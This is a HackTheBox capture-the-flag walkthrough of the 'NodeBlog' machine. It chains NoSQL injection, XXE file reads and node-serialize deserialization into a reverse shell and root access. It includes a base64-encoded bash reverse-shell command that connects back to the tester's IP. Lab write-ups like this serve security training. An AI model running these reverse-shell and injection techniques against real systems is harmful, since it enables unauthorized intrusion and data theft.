NodeBlog
NodeBlog writeup by Thamizhiniyan C S
Last updated
NodeBlog writeup by Thamizhiniyan C S
Last updated
Greetings everyone,
In this write-up, we will tackle NodeBlog from HackTheBox.
Machine link: NodeBlog
Difficulty Level: Easy
Let's Begin 🙌
Firstly, connect to the HTB server using the OpenVPN configuration file generated by HTB. Click Here to learn more about how to connect to VPN and access the boxes.
Once connected to the VPN service, click on "Join Machine" to access the machine's IP.
Upon joining the machine, you will be able to view the IP address of the target machine.
nmap -A -T4 -v <TARGET_IP>
Port | Service | Version/Technology |
---|---|---|
22 | SSH | OpenSSH 8.2p1 |
5000 | HTTP | Node.js |
From the obtained results, we could see that the SSH service is running on port 22 and on port 5000 there is a Node.js server is running. From the http-title of port 5000, we can devise that, it is a Node.js Blog Web Site, which uses the Express.js to handle requests.
Now we can take a look at the blog web site running on port 5000.
We can see that there is a Login button, which takes us to the login page.
And there is a Read More button, which takes us to the detailed view of the blog that is present over there.
There is no robots.txt file.
Next I ran gobuster on the blog website to find other hidden directories and paths.
Command: gobuster dir -u http://10.10.11.139:5000/ -w **/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt**
But I don’t get anything great from the results of gobuster.
Next I tried to login with some random credentials in the login page and captured the request using Burpsuite and send that to the repeater tab.
First I tried with,
username: test
password: test
I got the response as Invalid username.
Next I tried,
username: admin
password: admin
This time I got the response back as Invalid Password
, which shows that a user with a username admin exists.
Since this is a Node.js server, I checked for NoSQL Injection, since most of the Node.js applications uses MongoDB as the database.
I tried some of the NoSQL authentication bypass payloads from the following site: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL Injection#authentication-bypass
I used JSON format payloads given in the above mentioned site, since its more reliable and easy to format.
To send the data in JSON format in burpsuite, you have to change the value of the content-type
header to application/json
. Now change the data from “user=admin&password=admin
” to JSON format:
And make sure the request works as before.
Now use the following payload to check whether the password field is vulnerable to NoSQL.
payload:
Now send the login request with the payload.
You can see that we have successfully bypassed the authentication and we have logged in. This shows that the application is vulnerable to NoSQL injection.
Since, we have found that the application is vulnerable to NoSQL Injection, we can try to extract the password of the user admin
using the following payload.
The above mentioned payload uses regular expression to check whether the password is starting with the mentioned letter. I have created a python script which loops through all the letters in the ASCII encoding and extracts the password using the above mentioned payload:
We have extracted the password using the above script:
Now, we can login to this application either by using the password that we extracted or by bypassing the authentication.
After logging in to the application, we can see a upload button.
When I clicked the upload button, It opened a file upload dialogue box.
Since this is a Node.js application, I tried to upload a Javascript reverse shell.
But it thrown me the above error. I tried to upload the file again, but this time I intercepted the request using burpsuite.
From the above output, we can see that the application is expecting an XML file, with the following format:
So, I used the XML external entity (XXE) injection technique to view the contents of the file from the application file system.
To Learn more about XML external entity (XXE), Check out the following link: https://portswigger.net/web-security/xxe
First I tried to view the contents of the /etc/passwd
file. I uploaded the following code to the server:
The payload successfully worked and we can see the /etc/passwd
file contents:
Now we can try to view the contents of the server source code. But we don’t know the source code is located in the server.
While I was trying to figure out the location of the source code, I got the following error, when I typed the syntax of the JSON data that we enter in the request during login:
From the error I got, we can see that the blog application is located at /opt/blog
. Since this is a Node.js application, most developers will name their main server file as any one of the following:
index.js
server.js
I tried to look out for the server.js
in the /opt/blog
location by uploading the following XML file:
And we got the contents of the server.js file.
I saved this content to a file in my local machine to view it in VScode.
From the first few lines of the code, we can see that the applications is using the node-serialize
library. I googled for node-serialize and found the following: https://security.snyk.io/package/npm/node-serialize
The node-serialize
library is vulnerable to arbitrary code execution.
In the target application, the node serialize module is used to unserialize the cookie from the request. But if you check the server.js code, you can see that the authenticated function is called only for the get request to /
route.
So, to exploit the node-serialize
library, we have to send a get request and capture it using burpsuite.
Now send the captured request to the repeater tab. Now we can use the payload to exploit the node-serialize
library. I got the payload for this vulnerability from the following site: https://security.snyk.io/vuln/npm:node-serialize:20170208. I have slightly modified the payload, which now will execute a reverse shell on successful execution.
Now replace the value of auth cookie with the above payload in the repeater tab and send the request. Before sending a request, make sure to start a netcat listener on your local machine on port 9001.
It didn’t work. If you check the payload in the repeater tab, its highlighted in two different colours, which because the payload is broken into two parts due to the semicolon ;
in the payload. So, this time I encoded the semicolon with URL encoding and also I replace all the single quotes with double quotes i.e, ‘
replaced with “
, then I send the request. The URL encoded value of semicolon is %3b
.
But this time also I haven’t got back the response.
So this time I encoded the command which is in the payload using base64
algorithm.
But if you send this base64 string as it is in the payload it won’t work, because the base64 string is not a valid command in linux. So we have to find a way to decode this while execution. So I constructed a bash command to decode this.
Command:
echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45MC85MDAxIDA+JjE= | base64 -d
Now replace the command with the above command and send the request.
Make sure to update your `tun0` IP address.
This time I got the request back, and also I got the reverse shell also In the netcat listener.
Now I searched for the user flag using the find command and found it.
Next we have to escalate our privileges to find the root flag.
If you take a look at the server.js file, we can see that the mongoose.connect method is used to connect to the MongoDB, which is running in localhost.
So I checked out for the MongoDB console. I typed the command mongo
and got the MongoDB shell.
First I used the show dbs
command to list all the available databases.
From the listed dbs, the most appealing one is the blog
db. So I selected the blog
db using the command use blog
. Next I tried to view the collections ( aka tables ) in the database blog
using the command show collections
.
And we can see that there is a collection named users
. I tried to read the contents of the users
collection using the command db.users.find()
.
We got the password for the user admin
which we have already enumerated using the Password Enumeration script. Now we can try to use this password to escalate our privilege as root user.
To switch user or to enter password to escalate our privilege, we need a more stable shell which we can spawn using the command: python3 -c 'import pty; pty.spawn("/bin/sh")’
.
And we have escalated our privilege as root. Now search for the root flag.
And finally we got the root flag.
Thank You……